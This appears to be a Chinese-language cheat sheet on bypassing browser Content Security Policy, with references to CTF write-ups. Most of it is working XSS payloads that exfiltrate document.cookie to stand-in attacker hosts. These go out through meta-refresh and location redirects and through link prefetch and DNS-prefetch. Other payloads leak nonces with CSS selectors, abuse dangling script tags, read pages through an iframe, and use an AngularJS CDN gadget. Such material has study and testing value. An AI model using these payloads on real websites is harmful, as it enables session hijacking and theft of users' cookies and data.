验证CSP是否安全
在线评测CSP策略
Chrome插件
CSPEvaluator
CSP Mitigator
0x01 明确CSP对前端攻击的防御点
0x02 CSP绕过
URL跳转
- 条件:default-src ‘none’
- 利用:meta标签实现跳转
1
| <meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
|
- 条件:script-src ‘unsafe-inline’
- 利用:window.location/window.open等方法跳转绕过
1 2 3
| <script> window.location="http://www.xss.com/x.php?c=[cookie]"; </script>
|
- location.href
- 条件:可以执行JS脚本,但是由于CSP的设置,我们的cookie无法带外传输,就可以采用此方法,将cookie打到我们的vps上
location.href = “vps_ip:xxxx?”+document.cookie CSP不影响location.href跳转,因为当今大部分网站的跳转功能都是由前端实现的,CSP如果限制跳转会影响很多的网站功能。所以,用跳转来绕过CSP获取数据是一个万能的办法。但比较容易被发现。
1 2 3 4
| <script> $(#foo).click() </script> <a id="foo" href="xxxxx.com">
|
1
| http://foo.com/jmp.php?url=attack.com
|
<link>标签预加载
- 老版本的浏览器,CSP 对 link 标签的预加载功能考虑不完善。目前大部分都约束了此标签。
1 2 3 4 5 6
| <link rel="dns-prefetch" href="//${cookie}.vps_ip"> //在Firefox下无法用prefetch,因为Firefox有更高的安全规范,但是可以使用其他的方式,比如dns-prefetch,将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie
<link rel="prefetch" href="//vps_ip?${cookie}"> //href="http://www.xss.com/x.php?c=[cookie]">
|
1 2 3 4
| var link = document.createElement("link"); link.setAttribute("rel", "prefetch"); link.setAttribute("href", "//vps_ip/?" + document.cookie); document.head.appendChild(link);
|
利用浏览器补全
- 有些网站限制只有某些脚本才能使用,往往会使用<script> 标签的 nonce 属性,只有 nonce 一致的脚本才生效,比如 CSP 设置成下面这样
1
| Content-Security-Policy: default-src 'none';script-src 'nonce-abc'
|
1 2 3
| p>插入点</p> <script nonce="abc">document.write('CSP'); </script>
|
1
| <script src=//attack.com a="
|
- 这里利用浏览器的容错机制会拼成一个新的 script 标签,其中的 src 可以自由设定
利用DOM XSS
- 如果 JS 存在操作 location.hash 导致的 XSS,那么这样的攻击请求不会经过后台,那么 nonce 后的随机值就不会刷新。
1 2
| lorexxar 的博文: https://lorexxar.cn/2017/05/16/nonce-bypass-script/
|
- 如果有 DOM 操作可以插入 HTML 并且可以控制插入的 HTML 内容,那么也可以绕过 CSP
利用CSS静态xss获取nonce值
- 利用 CSS 选择器来逐字节获取信息,^= 从头部判断
1 2 3
| *[attribute^="a"]{background:url("record?match=a")} *[attribute^="b"]{background:url("record?match=b")} *[attribute^="c"]{background:url("record?match=c")}
|
1 2 3
| *[attribute^="ca"]{background:url("record?match=ca")} *[attribute^="cb"]{background:url("record?match=cb")} *[attribute^="cc"]{background:url("record?match=cc")}
|
- 由于是 CSS 的变化,没有引起服务器重新请求,所以 nonce 的值不会改变,偷取值后即可执行任意 script
利用跨域传输数据
- 利用一些跨域传输的方法来引入 JS,导致执行
- 呆子不开口的乌云大会 PPT
1
| http://pan.baidu.com/s/1pLCfCWr
|
- 0CTF2018 预选赛中的 h4xors.club2
1
| https://lorexxar.cn/2018/04/10/0ctf2018-club2/
|
利用文件上传执行JS
1
| Content-Security-Policy: default-src 'self'; script-src 'self'
|
- 针对只能加载同域下 script 的 CSP 策略,如果有上传点可以控制,那么可以在其中夹杂 js 代码,然后引用该文件完成执行。
利用Iframe绕过
1 2 3 4
| <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
<h1 id="flag">flag{0xffff}</h1>
|
1 2 3 4 5 6 7 8 9 10 11 12
|
<body> <script> var iframe = document.createElement('iframe'); iframe.src="A页面"; document.body.appendChild(iframe); setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script> </body>
|
用CDN绕过
1 2 3 4 5 6 7
| <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js> </script> <div ng-app> {{constructor.constructor('alert(document.cookie)')()}} </div>
|
1
| https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/angular.js
|